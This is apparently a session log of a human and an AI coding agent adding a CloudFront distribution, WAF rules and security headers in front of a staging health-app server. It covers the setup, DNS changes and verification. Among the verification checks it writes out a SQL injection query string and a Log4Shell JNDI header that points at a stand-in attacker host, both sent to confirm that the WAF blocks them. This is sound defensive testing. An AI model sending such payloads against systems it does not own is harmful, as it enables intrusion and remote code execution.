Appearance
Session log — 2026-04-22 — Phase 6 staging CloudFront + WAFv2
Scope
Put a CloudFront distribution + WAFv2 web ACL in front of the staging ALB, attach a response-headers policy implementing the plan's IP-opacity and security-header rules, swing the public stage.askflorence.health A/AAAA alias from ALB → CloudFront, keep the ALB reachable via a new origin.stage.askflorence.health hostname for the CloudFront origin. No production traffic affected; Vercel askflorence.health and www.askflorence.health continue to serve production users unchanged.
Actor
- Human: Taha Abbasi.
- Agent: Claude Opus 4.7 (1M context), running in Claude Code CLI.
Tickets
- Advances Issue #47 Phase 6.
- Unblocks Phase 8 prod mirror — the
infra/modules/cloudfront-waf/module lands in its final shape here and Phase 8 just calls it again with a prod-scoped alias.
External systems touched
AWS (staging account 549136075525)
- New CloudFront distribution
EJQQLYE9IE4U9(dk0jmb66fh49u.cloudfront.net). HTTPS-only origin, origin shield us-east-1, HTTP/2+HTTP/3, TLSv1.2_2021 minimum, ACM cert from Phase 4, aliasstage.askflorence.health, price classPriceClass_100. Two cache behaviors: default =CachingDisabled+AllViewer(dynamic SSR + API routes),/_next/static/*=CachingOptimized+CORS-S3Origin(versioned static assets). - New WAFv2 web ACL
askflorence-staging-web-acl(CLOUDFRONT scope). Default action Allow, six rules:AWSManagedRulesCommonRuleSet(prio 0),KnownBadInputsRuleSet(10),SQLiRuleSet(20),AmazonIpReputationList(30),AnonymousIpList(40), rate-basedRateBasedBlanket(100) at 2000 req/5min/IP. - New CloudWatch log group
aws-waf-logs-askflorence-staging-web-acl(14d retention, staging CMK). Named withaws-waf-logs-prefix per WAF's hard requirement.authorization+cookieheaders redacted at WAF's logging layer. - New CloudWatch Logs resource policy
askflorence-staging-waf-logs-deliveryauthorizingdelivery.logs.amazonaws.comto write toaws-waf-logs-*in this account, constrained byaws:SourceAccount+aws:SourceArnto prevent the confused-deputy attack vector. - New CloudFront response-headers policy
askflorence-staging-response-headers. Appends HSTS (1yr, includeSubDomains, preload), CSP, X-Frame-Options: DENY, Referrer-Policy: strict-origin-when-cross-origin, X-Content-Type-Options: nosniff. Overrides Server →AskFlorence. Strips X-Powered-By, X-AspNet-Version, X-AspNetMvc-Version.Viarequested-to-strip was rejected by the CloudFront API despite docs listing it as valid — noted in module comments, kept out. - Route 53 changes in subzone
stage.askflorence.health(Z06011002V7IQH7MBL1JY):stage.askflorence.healthA-alias: target updated in place from ALB → CloudFront (dk0jmb66fh49u.cloudfront.net).aws_route53_record.stage_aliasTerraform address moved fromalb.tf→cloudfront.tf, same address, so Terraform saw it as one UPSERT, not destroy+recreate. No DNS gap.stage.askflorence.healthAAAA-alias added → CloudFront (new, IPv6 viewers).origin.stage.askflorence.healthA-alias added → ALB. Covered by*.stage.askflorence.healthwildcard SAN on the existing ACM cert so the CloudFront→ALB TLS handshake validates.
- No IAM changes. Task role and execution role from Phase 5 are unchanged.
Cloudflare
- Not touched. Cloudflare remains authoritative for apex
askflorence.health(pointed at Vercel) and thestage.askflorence.healthNS delegation added in Phase 4 still routes the staging subzone to Route 53. All staging DNS edits happened in Route 53 via Terraform.
Atlas, Vercel, Resend, PostHog, SES
- Untouched. Phase 6 is a pure edge-networking change.
What shipped (module-level)
New module infra/modules/cloudfront-waf/:
versions.tf— pinnedaws ~> 6.0, terraform~> 1.14.variables.tf— 18 inputs. Defaults chosen to produce sensible output without callers specifying everything; overridable for prod's larger price class + tighter rate rule.main.tf— WAF web ACL, WAF logging configuration + CloudWatch log group + resource policy, response-headers policy, CloudFront distribution. 360-ish lines, heavy comments explaining the why of each non-obvious choice.outputs.tf— distribution ID / domain / hosted zone ID, web ACL ARN, response-headers policy ID, WAF log group name.
Wiring: infra/envs/staging/cloudfront.tf (new) + one-line edit to infra/envs/staging/alb.tf swapping the Route 53 alias target.
Verification
All performed from Taha's laptop, public internet:
- Health + headers.
curl -sSI https://stage.askflorence.health/api/healthreturnedHTTP/2 200+ full security header set includingserver: AskFlorence,strict-transport-security: max-age=31536000; includeSubDomains; preload,content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...,x-frame-options: DENY,referrer-policy: strict-origin-when-cross-origin,x-content-type-options: nosniff. CloudFront headers:x-cache: Miss from cloudfront,via: 1.1 <pop>.cloudfront.net (CloudFront),x-amz-cf-pop: LAX54-P10,alt-svc: h3=":443"; ma=86400(HTTP/3). - WAF blocks malicious traffic.
GET https://stage.askflorence.health/?id=1%27%20OR%20%271%27=%271→ HTTP 403 (AWSManagedRulesSQLiRuleSet).GET https://stage.askflorence.health/with headerUser-Agent: ${jndi:ldap://attacker.example/a}→ HTTP 403 (AWSManagedRulesKnownBadInputsRuleSet). Both blocked before reaching the origin, confirming WAF is inline. - WAF passes normal traffic.
GET https://stage.askflorence.health/→HTTP 200. - Framework fingerprint stripped.
X-Powered-Byabsent from every response header inspection. - Origin reachability from CloudFront. Distribution Status
Deployedperaws cloudfront get-distribution. No origin errors in ECS task logs during smoke testing. - Route 53 records correct.
aws route53 list-resource-record-setsshowsstage.askflorence.health(A + AAAA) →dk0jmb66fh49u.cloudfront.net.andorigin.stage.askflorence.health(A) →askflorence-staging-alb-*.elb.amazonaws.com.. - Vercel regression. None possible — no code or config change to Vercel.
What this session does NOT do
- Does not touch production.
askflorence.health+www.askflorence.healthstill served by Vercel, no DNS change at Cloudflare. - Does not enable CloudFront access logs. Audit evidence is covered by WAF logs + org-wide CloudTrail + existing ALB access logs. Access logs can be added in a follow-up if EDE audit prep requires them.
- Does not set up real-time logging / Kinesis Data Streams. CloudWatch Logs direct ingestion is simpler and sufficient.
- Does not add Lambda@Edge. Header scrubbing beyond the policy's allowed list (e.g.
Via) would need it — not in scope. - Does not provision prod resources. Phase 8 mirror applies this module into
infra/envs/prod/with a different alias + cert.
Next
- Phase 7 — staging Atlas VPC peering (replace NAT EIP allowlist entry with the staging VPC CIDR).
- Phase 8 — prod mirror. Apply
cloudfront-wafmodule ininfra/envs/prod/for the real askflorence.health front door. Existing M10 HIPAA Atlas cluster re-peered to prod VPC. - Phase 9-10 — canary, then Cloudflare apex CNAME flip Vercel → prod CloudFront.